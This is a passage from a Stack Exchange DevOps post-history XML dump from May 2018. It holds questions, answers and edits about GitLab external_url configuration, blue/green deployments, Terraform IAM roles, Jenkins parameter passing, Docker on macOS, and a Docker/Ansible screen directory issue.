disable_cache = false&#xD;&#xA;        volumes = [&quot;/cache&quot;]&#xD;&#xA;        shm_size = 0&#xD;&#xA;        #extra_hosts = [&quot;hostname-of-gitlab-runner-and-gitlab-server:actual-fqdn-of-gitlab-server-where-git-repo-is&quot;]&#xD;&#xA;      [runners.cache]&#xD;&#xA;&#xD;&#xA;This is the relevant configuration for `external_url` in the GitLab server configuration:&#xD;&#xA;&#xD;&#xA;    $ sudo egrep '\bexternal_url\b' /etc/gitlab/gitlab.rb&#xD;&#xA;    ##! For more details on configuring external_url see:&#xD;&#xA;    external_url = 'https://server:actual-fqdn-of-gitlab-server-where-git-repo-is'&#xD;&#xA;    # gitlab_pages['artifacts_server_url'] = nil # Defaults to external_url + '/api/v4'&#xD;&#xA;&#xD;&#xA;This is the relevant configuration for `host:` in the GitLab server's generated configuration:&#xD;&#xA;&#xD;&#xA;    $ sudo egrep -C 2 -n '^    host: ' /var/opt/gitlab/gitlab-rails/etc/gitlab.yml | head -n 5&#xD;&#xA;    11-  gitlab:&#xD;&#xA;    12-    ## Web server settings (note: host is the FQDN, do not include http://)&#xD;&#xA;    13:    host: hostname-of-gitlab-runner-and-gitlab-server&#xD;&#xA;    14-    port: 80&#xD;&#xA;    15-    https: false&#xD;&#xA;&#xD;&#xA;When I change `hostname-of-gitlab-runner-and-gitlab-server` to `actual-fqdn-of-gitlab-server-where-git-repo-is`, and run `sudo gitlab-ctl reconfigure`, it gets reset.&#xD;&#xA;&#xD;&#xA;If I edit `gitlab.host` in `/var/opt/gitlab/gitlab-rails/etc/gitlab.yml` directory, and run `sudo gitlab-ctl restart` without running `sudo gitlab-ctl reconfigure`, it will stay intact.&#xD;&#xA;&#xD;&#xA;**Some unanswered questions are:**&#xD;&#xA;&#xD;&#xA; 1. How can I permanently set the `gitlab.host` configuration value that&#xD;&#xA;    gets generated in `/var/opt/gitlab/gitlab-rails/etc/gitlab.yml` when&#xD;&#xA;    `sudo gitlab-ctl reconfigure` is run?&#xD;&#xA;&#xD;&#xA; 2. Why does `gitlab.host` in&#xD;&#xA;    `gitlab.yml` keep getting set to the hostname of the GitLab server?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12617" PostHistoryTypeId="1" PostId="4028" RevisionGUID="9ed18e37-2f39-4cad-ac9d-fe96b15e660c" CreationDate="2018-05-01T03:45:35.510" UserId="7641" Text="GitLab Runner is using its Docker host's hostname as Git server FQDN/hostname" ContentLicense="CC BY-SA 3.0" />
  <row Id="12618" PostHistoryTypeId="3" PostId="4028" RevisionGUID="9ed18e37-2f39-4cad-ac9d-fe96b15e660c" CreationDate="2018-05-01T03:45:35.510" UserId="7641" Text="&lt;docker&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12619" PostHistoryTypeId="33" PostId="3965" RevisionGUID="b3c58775-d671-4d56-8e44-edd48de88889" CreationDate="2018-05-01T04:47:55.810" UserDisplayName="user5063" Comment="18" />
  <row Id="12620" PostHistoryTypeId="2" PostId="4029" RevisionGUID="0b362f4f-dd44-4e92-8652-5a580e551a54" CreationDate="2018-05-01T10:40:13.527" UserId="7642" Text="Neil, it's because the `=` sign in your `/etc/gitlab/gitlab.rb` file.&#xD;&#xA;&#xD;&#xA;When you'll look on the full comment before the `external_url` line, you'll see a link to the documentation:&#xD;&#xA;&#xD;&#xA;    ## GitLab URL&#xD;&#xA;    ##! URL on which GitLab will be reachable.&#xD;&#xA;    ##! For more details on configuring external_url see:&#xD;&#xA;    ##! https://docs.gitlab.com/omnibus/settings/configuration.html#configuring-the-external-url-for-gitlab&#xD;&#xA;    external_url 'http://gitlab.example.com'&#xD;&#xA;&#xD;&#xA;In the default `gitlab.rb` file (just after installing the Omnibus GitLab package) and also in the linked documentation you can see, that the `external_url` value is assigned without the `=` sign. It's done like that because the `external_url` is a method, not a variable. So here you're not assigning the value, but calling the method with this value. Ruby allows to call a method without brackets around the arguments, and this is a commonly used pattern when designing a DSLs based on Ruby.&#xD;&#xA;&#xD;&#xA;When you try to set the value with:&#xD;&#xA;&#xD;&#xA;    external_url = 'https://server:actual-fqdn-of-gitlab-server-where-git-repo-is'&#xD;&#xA;&#xD;&#xA;then the `external_url` method is not receiving any argument and in that case Omnibus GitLab falls back to a default value which is based on host's `hostname`.&#xD;&#xA;&#xD;&#xA;In most cases the hostname of the server where GitLab is installed will be the same as the hostname that the server is accessible with. In some cases - including yours - the `external_url` needs to be set explicitly.&#xD;&#xA;&#xD;&#xA;So the solution seems to be:&#xD;&#xA;&#xD;&#xA; 1. Change `external_url = 'URL_HERE'` to `external_url 'URL_HERE'`&#xD;&#xA; 2. Execute `sudo gitlab-ctl reconfigure`&#xD;&#xA;&#xD;&#xA;This should set the proper values in `gitlab.yml` file and resolve your problems." ContentLicense="CC BY-SA 3.0" />
  <row Id="12621" PostHistoryTypeId="2" PostId="4030" RevisionGUID="6eff434a-fe90-460b-822c-091c83eafc2d" CreationDate="2018-05-01T11:38:36.657" UserId="4252" Text="People resist change, particularly when it's perceived to be outside of their control.  Organizations that have been around a while naturally devolve into silos, and organizational structures often reflect that (e.g., database administration teams often manage all of the databases for the org, even though they are often distanced from the business purpose of those databases).  DevOps has the potential to disrupt silos, and may cause realignment of org structures.  For example, you could have product teams composed of developers and operations people (like DBA's) that focus solely on a single product.&#xD;&#xA;&#xD;&#xA;For some mid-level managers, that could threaten their sense of job security.  The benefit of a DevOps mindset is that it encourages everyone to understand the value stream to the customer, and the relationship of all the roles in delivering that value.  IT could mean that the manager of DBA's suddenly has to understand development processes because they're now managing a product team.&#xD;&#xA;  " ContentLicense="CC BY-SA 3.0" />
  <row Id="12622" PostHistoryTypeId="50" PostId="3785" RevisionGUID="96ce915f-5889-456f-873d-972265f53df1" CreationDate="2018-05-01T12:14:10.207" UserId="-1" />
  <row Id="12623" PostHistoryTypeId="2" PostId="4031" RevisionGUID="9b2c8a76-9f53-4144-97e2-eef048be2817" CreationDate="2018-05-01T12:20:08.040" UserId="7555" Text="I managed to setup an environment that does what I described above. Here are the full details:&#xD;&#xA;&#xD;&#xA; 1. Launch a template that creates a CodeCommit repository for the&#xD;&#xA;    application. This repository will be used to store both the source&#xD;&#xA;    code and the CloudFormation (CF) templates to create the required&#xD;&#xA;    infrastructure for the application;&#xD;&#xA; 2. Launch a template that creates a CodePipeline pipeline for the&#xD;&#xA;    application. The pipeline will deploy a stack for the infrastructure&#xD;&#xA;    and one for deploying the code through CodeDeploy (the CodeDeploy&#xD;&#xA;    stack will will create a new CodeDeploy Application and deployment&#xD;&#xA;    group, and will deploy the latest code to the infrastructure created&#xD;&#xA;    previously)&#xD;&#xA;&#xD;&#xA;The pipeline has a paramater &quot;StackBlueeGreen&quot; that is used to determine whether the stack is the Green or the Blue version.&#xD;&#xA;&#xD;&#xA;When the pipeline runs successfully, it will create a separate infrastructure &#xD;&#xA;&#xD;&#xA;&gt; (NameOfTheApplication-B or NameOfTheApplication-G)&#xD;&#xA;&#xD;&#xA; and deploy the code there. The second infrastructure will have its own load balancer listener rule setup with a staging URL &#xD;&#xA;&#xD;&#xA;&gt; (something like URLOfTheApplication-staging.somedomain.co.uk)&#xD;&#xA;&#xD;&#xA;This allows developers to test the new version of the application withuot affecting the previous version. Once developers are happy with the new version, the listener rules for the old and new infrastructure need to be changed manually so that users are now directed to the new infrastructure. If there is an issue with the new version, rolling back is as simple as swapping the load balancer listener rules again.&#xD;&#xA;&#xD;&#xA;Finally, the pipeline stack need to be updated: the StackBlueGreen parameter needs to be switched to G/B depending on how it is currently set. If this is not done, next time there is a change, the new version will be deployed on the same infrastructure.&#xD;&#xA;&#xD;&#xA;[The setup described above works very well and meets all the requirements outlined in the OP.&#xD;&#xA;An improvement that I would really like to implement is automating the switching of the load balancer listener rule, deletion of the old infrastructure and updating the pipeline stack. I will add to this question if I manage to implement this improvement.&#xD;&#xA;Meanwhile, any input would be much appreciated!]" ContentLicense="CC BY-SA 3.0" />
  <row Id="12625" PostHistoryTypeId="2" PostId="4032" RevisionGUID="3eb3c2ce-414f-4d31-ad80-276d8a3dc0a7" CreationDate="2018-05-01T15:14:04.810" UserId="3062" Text="The biggest challenge I've encountered with people resisting the change is the reason of not seeing the value of it, or build automation in general.  His idea was, we were our getting product(s) out the door, and on time. So why do we need to &quot;create work&quot; for ourselves, and take a developer off of working on a product.  After 4 years since then I've finally got the owners on board with CI by capturing metrics on how much time is wasted copying files manually from bin folders to SVN for qa to copy from SVN to environments.  This along with the overhead of managing what build is in what environment and other pitfalls of you are testing the wrong build etc.  He has finally came around, but I think he feels that the time could be put to other tasks. " ContentLicense="CC BY-SA 3.0" />
  <row Id="12626" PostHistoryTypeId="2" PostId="4033" RevisionGUID="8876b43e-2b5c-4a0d-a4b6-e3b6da73a26a" CreationDate="2018-05-01T15:20:12.313" UserId="3062" Text="I have a few CI environment in VSTS.  One for dev, QA, staging, and production.  my builds are created in the cloud by VSTS build agents.  these builds are not obfuscated by design and need to be deployed to my dev and test environments as such.  When they are approved by QA in the test env, they go to staging.  What I need to have happen is for the build to be obfuscated before being put in this environment.  Is it possible for me to run a docker container in VSTS release pipeline to obfuscate the build in the container and then download the result in a deployment group?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12627" PostHistoryTypeId="1" PostId="4033" RevisionGUID="8876b43e-2b5c-4a0d-a4b6-e3b6da73a26a" CreationDate="2018-05-01T15:20:12.313" UserId="3062" Text="Container to Obfuscate" ContentLicense="CC BY-SA 3.0" />
  <row Id="12628" PostHistoryTypeId="3" PostId="4033" RevisionGUID="8876b43e-2b5c-4a0d-a4b6-e3b6da73a26a" CreationDate="2018-05-01T15:20:12.313" UserId="3062" Text="&lt;containers&gt;&lt;azure-devops&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12629" PostHistoryTypeId="2" PostId="4034" RevisionGUID="aced7ce1-1f88-4015-a60f-d9b3841c0c2e" CreationDate="2018-05-01T15:43:40.700" UserId="3683" Text="I am trying to attach an existing role created in AWS, but i am not able to add it in Terraform Code. I tried to add the role in instance profile but it didnt work either for me.&#xD;&#xA;&#xD;&#xA;Is there any direct way to add it in the resource in terraform code.?? &#xD;&#xA;&#xD;&#xA;*`iam_instance_profile  = &quot;my-role&quot;`*&#xD;&#xA;&#xD;&#xA;*my-role is having the full access of ec2.*" ContentLicense="CC BY-SA 3.0" />
  <row Id="12630" PostHistoryTypeId="1" PostId="4034" RevisionGUID="aced7ce1-1f88-4015-a60f-d9b3841c0c2e" CreationDate="2018-05-01T15:43:40.700" UserId="3683" Text="how to set an existing IAM role to a new instance while spinning in terraform" ContentLicense="CC BY-SA 3.0" />
  <row Id="12631" PostHistoryTypeId="3" PostId="4034" RevisionGUID="aced7ce1-1f88-4015-a60f-d9b3841c0c2e" CreationDate="2018-05-01T15:43:40.700" UserId="3683" Text="&lt;amazon-ec2&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12632" PostHistoryTypeId="2" PostId="4035" RevisionGUID="2b901ad1-2b6f-47e3-bf4a-e73943c31602" CreationDate="2018-05-01T17:40:00.933" UserId="736" Text="I have an upstream freestyle job and a downstream pipeline job. &#xD;&#xA;&#xD;&#xA;The freestyle job is triggered via a Bitbucket hook to run whenever code is pushed to Bitbucket. &#xD;&#xA;&#xD;&#xA;The freestyle job should capture the commit SHA and branch name and pass both to the pipeline job. It also generates a variable based on the branch author, that should also be passed. &#xD;&#xA;&#xD;&#xA;In the freestyle job I do something like the following, which works and echos the expected parameters.&#xD;&#xA;&#xD;&#xA;    cd $WORKSPACE/prancer/&#xD;&#xA;    GIT_AUTHOR=$(git show --format=&quot;%an&quot; | head -1)&#xD;&#xA;    &#xD;&#xA;    echo '-------------'&#xD;&#xA;    echo 'git_commit is '$GIT_COMMIT&#xD;&#xA;    echo 'git_branch is '$GIT_BRANCH&#xD;&#xA;    echo 'git_author is '$GIT_AUTHOR&#xD;&#xA;    echo '-------------'&#xD;&#xA;&#xD;&#xA;I have the job configured to kick off the pipeline job like so;&#xD;&#xA;[![freestyle job config][1]][1]&#xD;&#xA;&#xD;&#xA;Downstream, the pipeline job echos the `GIT_COMMIT` and `GIT_BRANCH` as expected. However, the `GIT_AUTHOR` just echos the variable name, not a value. &#xD;&#xA;&#xD;&#xA;Somehow, the git commit and branch are being passed along, but the generated variable git_author isn't. I tried piping the author to a file, archiving it in the freestyle job and using the additional `Parameters from properties file` step, but that still isn't passing to the pipeline job. &#xD;&#xA;&#xD;&#xA;**How do I use a generated variable's value from an upstream freestyle job when building a downstream pipeline job?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/QdCGF.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="12633" PostHistoryTypeId="1" PostId="4035" RevisionGUID="2b901ad1-2b6f-47e3-bf4a-e73943c31602" CreationDate="2018-05-01T17:40:00.933" UserId="736" Text="Trigger downstream pipeline job via generated variable in upstream freestyle job" ContentLicense="CC BY-SA 3.0" />
  <row Id="12634" PostHistoryTypeId="3" PostId="4035" RevisionGUID="2b901ad1-2b6f-47e3-bf4a-e73943c31602" CreationDate="2018-05-01T17:40:00.933" UserId="736" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12635" PostHistoryTypeId="5" PostId="4035" RevisionGUID="63a14ee9-bf72-484a-9f2e-5fa6685961af" CreationDate="2018-05-01T17:46:01.090" UserId="736" Comment="added detail" Text="I have an upstream freestyle job and a downstream pipeline job. &#xD;&#xA;&#xD;&#xA;The freestyle job is triggered via a Bitbucket hook to run whenever code is pushed to Bitbucket. &#xD;&#xA;&#xD;&#xA;The freestyle job should capture the commit SHA and branch name and pass both to the pipeline job. It also generates a variable based on the branch author, that should also be passed. &#xD;&#xA;&#xD;&#xA;In the freestyle job I do something like the following, which works and echos the expected parameters.&#xD;&#xA;&#xD;&#xA;    cd $WORKSPACE/prancer/&#xD;&#xA;    GIT_AUTHOR=$(git show --format=&quot;%an&quot; | head -1)&#xD;&#xA;    &#xD;&#xA;    echo '-------------'&#xD;&#xA;    echo 'git_commit is '$GIT_COMMIT&#xD;&#xA;    echo 'git_branch is '$GIT_BRANCH&#xD;&#xA;    echo 'git_author is '$GIT_AUTHOR&#xD;&#xA;    echo '-------------'&#xD;&#xA;&#xD;&#xA;I have the job configured to kick off the pipeline job like so;&#xD;&#xA;[![freestyle job config][1]][1]&#xD;&#xA;&#xD;&#xA;Downstream, the pipeline job echos the `GIT_COMMIT` and `GIT_BRANCH` as expected. However, the `GIT_AUTHOR` just echos the variable name, not a value. &#xD;&#xA;&#xD;&#xA;Somehow, the git commit and branch are being passed along, but the generated variable git_author isn't. I tried piping the author to a file, archiving it in the freestyle job and using the additional `Parameters from properties file` step, but that still isn't passing to the pipeline job. &#xD;&#xA;&#xD;&#xA;I can confirm that&#xD;&#xA;&#xD;&#xA;1. GIT_AUTHOR has a value in the freestyle job&#xD;&#xA;2. If I save GIT_AUTHOR to a properties file, I can view the file (with the author inside!) in the workspace of the freestyle job&#xD;&#xA;3. The pipeline job isn't receiving the value, just the actual string `$GIT_AUTHOR`. If I check the parameters page for the triggered pipeline build commit and branch have values, author is the string `$GIT_AUTHOR`.&#xD;&#xA;&#xD;&#xA;**How do I use a generated variable's value from an upstream freestyle job when building a downstream pipeline job?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/QdCGF.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="12636" PostHistoryTypeId="2" PostId="4036" RevisionGUID="4af6cd6d-2b1d-424c-afb1-e04b28f5e707" CreationDate="2018-05-01T19:03:02.120" UserId="228" Text="Docker is running in a VM on MacOS. One of your options is to put the entire VM on a tmpfs. You could use this shell script to create and mount the ramdisk: https://gist.github.com/koshigoe/822455&#xD;&#xA;&#xD;&#xA;Then go to Docker preferences and in Disk preferences move the image to the newly created device. That should be it." ContentLicense="CC BY-SA 3.0" />
  <row Id="12637" PostHistoryTypeId="2" PostId="4037" RevisionGUID="a998fdc2-559e-42fd-9088-e5f79589f32e" CreationDate="2018-05-01T21:28:16.247" UserId="2845" Text="One tool I have used in the past is [this](https://cryptic-cliffs-32040.herokuapp.com/) which does a great job of rendering YAML/JSON and allows you to inspect the resulting output in order to validate." ContentLicense="CC BY-SA 3.0" />
  <row Id="12638" PostHistoryTypeId="2" PostId="4038" RevisionGUID="a9799434-83f4-4210-9e9b-898764fc4cf5" CreationDate="2018-05-01T22:09:08.137" UserId="210" Text="I just run the code, e.g. Ansible or kubectl and if the yaml is incorrect these tools point out the line that contains the error. I never use a separate tool for validation the yaml." ContentLicense="CC BY-SA 3.0" />
  <row Id="12639" PostHistoryTypeId="5" PostId="4023" RevisionGUID="4b0c0c63-aa9d-4635-8588-2a53d407d315" CreationDate="2018-05-01T22:59:26.893" UserId="3" Comment="Moves tag from the title" Text="As answered in this questions: [Does Docker on MacOS support `tmpfs`?][1] In order to run in memory docker, I need to move docker volumes to ramdisk. In macOS I can do it through docker preferences. However, I would like to write a script that could do it for me everytime I run docker on my machine. Is it possible to specify this setting using cmdline in mac? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/4012/does-docker-on-macos-support-tmpfs/4020?noredirect=1#comment5811_4020" ContentLicense="CC BY-SA 3.0" />
  <row Id="12640" PostHistoryTypeId="4" PostId="4023" RevisionGUID="4b0c0c63-aa9d-4635-8588-2a53d407d315" CreationDate="2018-05-01T22:59:26.893" UserId="3" Comment="Moves tag from the title" Text="How to move disk image in the command line?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12641" PostHistoryTypeId="6" PostId="4023" RevisionGUID="4b0c0c63-aa9d-4635-8588-2a53d407d315" CreationDate="2018-05-01T22:59:26.893" UserId="3" Comment="Moves tag from the title" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;macos&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12642" PostHistoryTypeId="2" PostId="4039" RevisionGUID="3e41ff9d-b43f-479d-a6a1-0e8a2ed0cce0" CreationDate="2018-05-01T23:00:46.473" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="12643" PostHistoryTypeId="1" PostId="4039" RevisionGUID="3e41ff9d-b43f-479d-a6a1-0e8a2ed0cce0" CreationDate="2018-05-01T23:00:46.473" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12644" PostHistoryTypeId="2" PostId="4040" RevisionGUID="4d161ab5-54c0-4477-8246-262f1c10003e" CreationDate="2018-05-01T23:00:46.473" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="12645" PostHistoryTypeId="1" PostId="4040" RevisionGUID="4d161ab5-54c0-4477-8246-262f1c10003e" CreationDate="2018-05-01T23:00:46.473" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12646" PostHistoryTypeId="5" PostId="4036" RevisionGUID="be45fc08-f67f-4b37-be77-e03d693d0193" CreationDate="2018-05-01T23:00:59.173" UserId="228" Comment="added 226 characters in body" Text="Docker is running in a VM on MacOS. One of your options is to put the entire VM on a tmpfs. You could use this shell script to create and mount the ramdisk: https://gist.github.com/koshigoe/822455&#xD;&#xA;&#xD;&#xA;Here is a guide for resizing the machine. https://gist.github.com/stefanfoulis/5bd226b25fa0d4baedc4803fc002829e&#xD;&#xA;&#xD;&#xA;The trick is to stop docker first, then you can make changes and move the &#xD;&#xA;&#xD;&#xA;&gt; ~/Library/Containers/com.docker.docker/Data/com.docker.driver.amd64-linux/Docker.qcow2&#xD;&#xA;&#xD;&#xA;  wherever you like and symlink there from this location." ContentLicense="CC BY-SA 3.0" />
  <row Id="12647" PostHistoryTypeId="2" PostId="4041" RevisionGUID="01841407-215d-473e-a5f2-e4619a2db5a1" CreationDate="2018-05-01T23:24:39.320" UserId="3" Text="### Files&#xD;&#xA;&#xD;&#xA;I've got the following **`Dockerfile`**:&#xD;&#xA;&#xD;&#xA;    FROM ansible/ansible:ubuntu1604py3&#xD;&#xA;    ENV DEBIAN_FRONTEND noninteractive&#xD;&#xA;    RUN pip3 install ansible&#xD;&#xA;    RUN printf '[local]\r\nlocalhost ansible_python_interpreter=&quot;env python3&quot;\r\n' &gt; /etc/ansible/hosts&#xD;&#xA;    ADD . /opt&#xD;&#xA;    RUN ansible-playbook /opt/install_screen.yml -c local -v&#xD;&#xA;    RUN useradd -d /home/ubuntu -ms /bin/bash -g root -G sudo -p ubuntu ubuntu&#xD;&#xA;    USER ubuntu&#xD;&#xA;    WORKDIR /home/ubuntu&#xD;&#xA;    CMD [&quot;/usr/bin/env&quot;, &quot;screen&quot;]&#xD;&#xA;&#xD;&#xA;and the following **`install_screen.yml`** playbook file:&#xD;&#xA;&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Install screen (a full-screen window manager)&#xD;&#xA;          apt: name=screen state=present&#xD;&#xA;          register: screen_installed&#xD;&#xA;        - name: Configure screen&#xD;&#xA;          shell: bash -x /etc/init.d/screen-cleanup start&#xD;&#xA;          register: screen_configured&#xD;&#xA;          when: screen_installed is success&#xD;&#xA;        - shell: ls -la /var/run/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;### Build&#xD;&#xA;&#xD;&#xA;Now, I build the Docker container in a shell by:&#xD;&#xA;&#xD;&#xA;    $ docker build -t screen .&#xD;&#xA;&#xD;&#xA;and the *Configure screen* task shows the following output:&#xD;&#xA;&#xD;&#xA;&gt; `changed: [localhost] =&gt; {&quot;changed&quot;: true, &quot;cmd&quot;: &quot;bash -x /etc/init.d/screen-cleanup start&quot;, &quot;delta&quot;: &quot;0:00:00.009613&quot;, &quot;end&quot;: &quot;2018-05-01 23:09:49.159514&quot;, &quot;rc&quot;: 0, &quot;start&quot;: &quot;2018-05-01 23:09:49.149901&quot;, &quot;stderr&quot;: &quot;+ set -e\n+ test -f /usr/bin/screen\n+ SCREENDIR=/var/run/screen\n+ case \&quot;$1\&quot; in\n+ test -L /var/run/screen\n+ test -d /var/run/screen\n+ find /var/run/screen -type p -delete\n++ stat -c%a /usr/bin/screen\n+ BINARYPERM=2755\n+ '[' 2755 -ge 4000 ']'\n+ '[' 2755 -ge 2000 ']'\n+ chmod 0775 /var/run/screen\n+ exit 0&quot;, &quot;stderr_lines&quot;: [&quot;+ set -e&quot;, &quot;+ test -f /usr/bin/screen&quot;, &quot;+ SCREENDIR=/var/run/screen&quot;, &quot;+ case \&quot;$1\&quot; in&quot;, &quot;+ test -L /var/run/screen&quot;, &quot;+ test -d /var/run/screen&quot;, &quot;+ find /var/run/screen -type p -delete&quot;, &quot;++ stat -c%a /usr/bin/screen&quot;, &quot;+ BINARYPERM=2755&quot;, &quot;+ '[' 2755 -ge 4000 ']'&quot;, &quot;+ '[' 2755 -ge 2000 ']'&quot;, &quot;+ chmod 0775 /var/run/screen&quot;, &quot;+ exit 0&quot;], &quot;stdout&quot;: &quot;&quot;, &quot;stdout_lines&quot;: []}`&#xD;&#xA;&#xD;&#xA;then my `ls -la /var/run/` shell command shows:&#xD;&#xA;&#xD;&#xA;&gt; `changed: [localhost] =&gt; {&quot;changed&quot;: true, &quot;cmd&quot;: &quot;ls -la /var/run/&quot;, &quot;delta&quot;: &quot;0:00:00.004997&quot;, &quot;end&quot;: &quot;2018-05-01 23:09:49.442670&quot;, &quot;rc&quot;: 0, &quot;start&quot;: &quot;2018-05-01 23:09:49.437673&quot;, &quot;stderr&quot;: &quot;&quot;, &quot;stderr_lines&quot;: [], &quot;stdout&quot;: &quot;total 24\ndrwxr-xr-x 6 root root 4096 May  1 23:09 .\ndrwxr-xr-x 1 root root 4096 May  1 23:09 ..\n-rw-r--r-- 1 root root    0 Mar 28 19:06 init.upgraded\ndrwxrwxrwt 2 root root 4096 Feb 28 19:13 lock\ndrwxr-xr-x 2 root root 4096 May  1 23:09 mount\ndrwxrwxr-x 2 root utmp 4096 May  1 23:09 screen\ndrwxr-xr-x 2 root root 4096 May  1 23:09 systemd\n-rw-rw-r-- 1 root utmp    0 Feb 28 19:13 utmp&quot;, &quot;stdout_lines&quot;: [&quot;total 24&quot;, &quot;drwxr-xr-x 6 root root 4096 May  1 23:09 .&quot;, &quot;drwxr-xr-x 1 root root 4096 May  1 23:09 ..&quot;, &quot;-rw-r--r-- 1 root root    0 Mar 28 19:06 init.upgraded&quot;, &quot;drwxrwxrwt 2 root root 4096 Feb 28 19:13 lock&quot;, &quot;drwxr-xr-x 2 root root 4096 May  1 23:09 mount&quot;, &quot;drwxrwxr-x 2 root utmp 4096 May  1 23:09 screen&quot;, &quot;drwxr-xr-x 2 root root 4096 May  1 23:09 systemd&quot;, &quot;-rw-rw-r-- 1 root utmp    0 Feb 28 19:13 utmp&quot;]}`&#xD;&#xA;&#xD;&#xA;### Problem&#xD;&#xA;&#xD;&#xA;It seems after installing `screen` and running `/etc/init.d/screen-cleanup start` during provisioning, the container have the problem running `screen` command as below:&#xD;&#xA;&#xD;&#xA;    $ docker run -it screen&#xD;&#xA;    Cannot make directory '/var/run/screen': Permission denied&#xD;&#xA;    $ docker run -it screen ls -la /var/run/screen&#xD;&#xA;    ls: cannot access '/var/run/screen': No such file or directory&#xD;&#xA;&#xD;&#xA;In above Ansible's output I can see that `/var/run/screen` folder exists as per the following line (during `ls -la /var/run/` run):&#xD;&#xA;&#xD;&#xA;&gt; `drwxrwxr-x 2 root utmp 4096 May  1 23:09 screen`&#xD;&#xA;&#xD;&#xA;But it disappears after Ansible playbook command is finished.&#xD;&#xA;&#xD;&#xA;### Workaround&#xD;&#xA;&#xD;&#xA;The following one-time workaround works to recreate the folder:&#xD;&#xA;&#xD;&#xA;    $ docker run -it -u root screen bash&#xD;&#xA;    ubuntu# bash -x /etc/init.d/screen-cleanup start&#xD;&#xA;    ...&#xD;&#xA;    + mkdir /var/run/screen&#xD;&#xA;    ...&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12648" PostHistoryTypeId="1" PostId="4041" RevisionGUID="01841407-215d-473e-a5f2-e4619a2db5a1" CreationDate="2018-05-01T23:24:39.320" UserId="3" Text="Why screen folder in /var/run disappears in Docker container after running Ansible playbook?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12649" PostHistoryTypeId="3" PostId="4041" RevisionGUID="01841407-215d-473e-a5f2-e4619a2db5a1" CreationDate="2018-05-01T23:24:39.320" UserId="3" Text="&lt;ansible&gt;&lt;containers&gt;&lt;dockerfile&gt;&lt;provisioning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12650" PostHistoryTypeId="5" PostId="4039" RevisionGUID="5ee51828-570f-429d-b598-574d448d1752" CreationDate="2018-05-02T06:04:57.483" UserId="3" Comment="added 458 characters in body" Text="Apple's [macOS](https://en.wikipedia.org/wiki/Mac_OS_X) (formerly known as Mac OS X) is a Unix variant built on a Mach/BSD-based kernel and FreeBSD-based userland. On this site, we cover the DevOps-like aspects of the system, including the command-line interface, the filesystem, etc. Question about things that aren't Unix-like (including most of the graphical user interface) are covered at our sister site [Ask Different](http://apple.stackexchange.com/)." ContentLicense="CC BY-SA 4.0" />
  <row Id="12651" PostHistoryTypeId="24" PostId="4039" RevisionGUID="5ee51828-570f-429d-b598-574d448d1752" CreationDate="2018-05-02T06:04:57.483" Comment="Proposed by 3 approved by 40, 707 edit id of 685" ContentLicense="CC BY-SA 4.0" />
  <row Id="12652" PostHistoryTypeId="5" PostId="4034" RevisionGUID="da8f0ddc-1263-4e49-883f-3976c64d252d" CreationDate="2018-05-02T06:05:13.357" UserId="6375" Comment="Format content" Text="I am trying to attach an existing role created in AWS, but I am not able to add it in Terraform Code. I tried to add the role in instance profile but it didn't work either for me.&#xD;&#xA;&#xD;&#xA;Is there any direct way to add it in the resource in Terraform Code ? &#xD;&#xA;&#xD;&#xA;*`iam_instance_profile  = &quot;my-role&quot;`*&#xD;&#xA;&#xD;&#xA;&gt; **Note:** my-role is having the full access of ec2." ContentLicense="CC BY-SA 4.0" />
  <row Id="12653" PostHistoryTypeId="4" PostId="4034" RevisionGUID="da8f0ddc-1263-4e49-883f-3976c64d252d" CreationDate="2018-05-02T06:05:13.357" UserId="6375" Comment="Format content" Text="How to set an existing IAM role to a new instance while spinning in terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12654" PostHistoryTypeId="24" PostId="4034" RevisionGUID="da8f0ddc-1263-4e49-883f-3976c64d252d" CreationDate="2018-05-02T06:05:13.357" Comment="Proposed by 6375 approved by 40, 707 edit id of 687" ContentLicense="CC BY-SA 4.0" />
  <row Id="12655" PostHistoryTypeId="5" PostId="4040" RevisionGUID="5ced41b1-669f-4bb6-9420-351b204cbb68" CreationDate="2018-05-02T06:05:21.370" UserId="3" Comment="added 72 characters in body" Text="The command line and other Unix-like aspects of Apple's macOS (Mac OS X)" ContentLicense="CC BY-SA 4.0" />
  <row Id="12656" PostHistoryTypeId="24" PostId="4040" RevisionGUID="5ced41b1-669f-4bb6-9420-351b204cbb68" CreationDate="2018-05-02T06:05:21.370" Comment="Proposed by 3 approved by 40, 707 edit id of 686" ContentLicense="CC BY-SA 4.0" />
